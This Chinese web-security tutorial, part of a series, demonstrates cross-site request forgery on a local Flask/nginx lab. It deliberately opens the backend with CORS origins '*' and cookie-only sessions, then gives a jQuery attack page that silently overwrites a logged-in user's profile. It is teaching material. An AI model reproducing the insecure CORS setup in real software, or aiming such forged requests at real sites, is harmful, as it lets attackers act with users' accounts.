(Web安全與防御通俗基礎(chǔ) 五) 跨站點請求偽造(CSRF)攻擊

前述總結(jié)

在前面的文章中,我們已經(jīng)基于nginx將我們的python后臺與html前臺整合為了一個站點,使得前臺頁面可以通過python后臺進行一些數(shù)據(jù)操作,比如:登錄、登錄人信息獲取。
上一篇中,我們講到兩個概念,一個是同源策略,另一個是session機制同源策略為了保證本網(wǎng)站不受外部站點前臺請求的干擾和控制;session機制則一定程度上解決了用戶干擾重要信息在前后臺之間傳輸?shù)膯栴},讓后臺程序可以驗證“瀏覽器級”的用戶身份綁定;并且,我們知道了,session機制其實是通過Cookie實現(xiàn)的后臺與瀏覽器之間的身份綁定。
此篇,我們將會把python后臺改為支持跨域訪問,并且繼續(xù)采用session機制,不附加任何強化手段,來體驗此舉帶來的危害之一,即我們今天所說的,“跨站點請求偽造(CSRF)”。

一、跨站點請求偽造(CSRF) 簡介

1.1 CSRF原理

所謂“跨站點請求偽造”,即用戶對本網(wǎng)站的請求雖然是在用戶瀏覽器上發(fā)出,但卻并不是通過本站點下的網(wǎng)頁發(fā)送。其實就是我們上篇所講的,外部網(wǎng)站頁面的跨域請求??梢岳斫鉃榘谚€匙放門口花盆下面,結(jié)果別人都知道了,所以別人去自己家“溜了一圈”...
具體而言,瀏覽器可以為發(fā)向每個網(wǎng)站的請求,自動添加上該網(wǎng)站對應(yīng)的合法Cookie信息,而后臺程序則可以通過Cookie進行用戶身份的辨別。當(dāng)用戶已經(jīng)完成對A網(wǎng)站的登錄,此后訪問B網(wǎng)站(惡意網(wǎng)站)時,B網(wǎng)站的網(wǎng)頁可以在瀏覽器中,向A網(wǎng)站發(fā)送請求。A網(wǎng)站則會視為用戶的正常請求。
這個過程能夠執(zhí)行,需要兩個必備條件:

  1. A網(wǎng)站允許跨域請求,且不限制來源
  2. A網(wǎng)站僅采用靜態(tài)的Cookie作為身份認(rèn)證手段,無其他附加手段
    SCRF原理

1.2 CSRF危害

這種攻擊手段最大的危害是什么?就是在服務(wù)器看來的“合法性”。
\color{red}{為什么合法?}注:"合法"此處并非指的符合法律。

  1. 首先是因為請求發(fā)送的客觀主體一樣,是真正的用戶、真正的用戶端瀏覽器。這就像是用戶為了方便操作,在原來基礎(chǔ)上,又新建了一個tab頁面。
  2. 因為是同一個瀏覽器,所以發(fā)起攻擊網(wǎng)頁的請求和正常網(wǎng)站網(wǎng)頁上的請求中,由瀏覽器附加的請求信息是相同的,比如我們實現(xiàn)session機制的Cookie。

因此,在后臺級別,基于我們目前的方案,是無法判斷此請求是否為惡意請求的。

\color{red}{帶來的結(jié)果是什么?}
攻擊者可以利用用戶的登錄身份,進行用戶的操作。比如,當(dāng)你已經(jīng)在網(wǎng)站進行登錄,點擊了一個三方鏈接后,賬號“被盜”了。

以下,是我們基于前述代碼進行修改后,所制作的跨站點請求偽造攻擊效果。當(dāng)我完成在站點A(127.0.0.1:8023)的登錄后,去到站點B(不安全網(wǎng)站,這里使用本地的另一個端口替代127.0.0.1:1668/csrf.html),造成站點A的個人信息被修改。
兩個站點雖然都在同一個機器上,但端口號不同,所以與在不同服務(wù)器上的不同網(wǎng)站效果相當(dāng)。

csrf攻擊效果

下面,我們將一步一步將前述代碼進行修改,并制作攻擊頁面。

二、原始站點的修改

前述文章中的后臺,是采用基于pythonflask制作,要使其允許跨域請求,較簡單的方法是使用另一個三方包flask_cors

  1. 安裝flask_cors
    pip install flask_cors 
    
  2. python端添加信息修改功能
    @app.route('/data/update',methods=['post'])
    def update_my_info():
         # 獲取session中的用戶名
         if "usname" in session:
             uname=session["usname"]
             if uname:
                 # 獲取request body中的name和age字段
                 nm=request.form["name"]
                 ag=request.form["age"]
                 # 對存儲信息的文件進行覆蓋寫入
                 with open("./"+uname+".dat",mode="w",encoding="utf8") as f:
                     f.write("name:"+nm+",age:"+ag)
                 return "succeed"
         return "failed"
    
  3. python端引入flask_cors包并添加支持跨域的語句
    from flask_cors import CORS
    CORS(app, origins="*")
    
  4. 頁面布局中,加入修改個人信息的輸入框及按鍵
     <div class="update">
         <span>姓名: <input type="text" id="name"> </span>
         <span>年齡: <input type="number" id="age"> </span>
         <input type="button" class="btn" value="更  改" onclick="update()" >
     </div>
    
  5. 頁面上加入js方法,發(fā)起ajax請求進行信息修改
     function update()
     {
         nm=document.querySelector("#name").value
         ag=document.querySelector("#age").value
         $.ajax({
             url:"/data/update",
             method:"POST",
             data:{"name":nm,"age":ag},
             success:function(dt){
                 alert(dt)
             }
         })
     }
    

三、構(gòu)建CSRF頁面

為了便于區(qū)別,我們新建一個文件夾,用于構(gòu)建CSRF使用的頁面。依然需要使用jquery發(fā)起ajax請求。頁面僅有js代碼

$.ajax({
            url:"http://127.0.0.1:8023/data/update", // 需要填寫完整路徑
            method:"POST",
            data:{"name":"小哥,你被黑了","age":-100},
            crossDomain: true,  // 啟用跨域請求
            xhrFields: {
                withCredentials: true // 啟用帶憑據(jù)的跨域請求
            },
            success:function(dt){
                alert(dt)
            }
        })

nginx 配置中,新增一個server。具體信息如下

server {
        listen       1668;
        server_name  localhost;
        location / {
            root D:/csrf_web/;
        }
    }
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容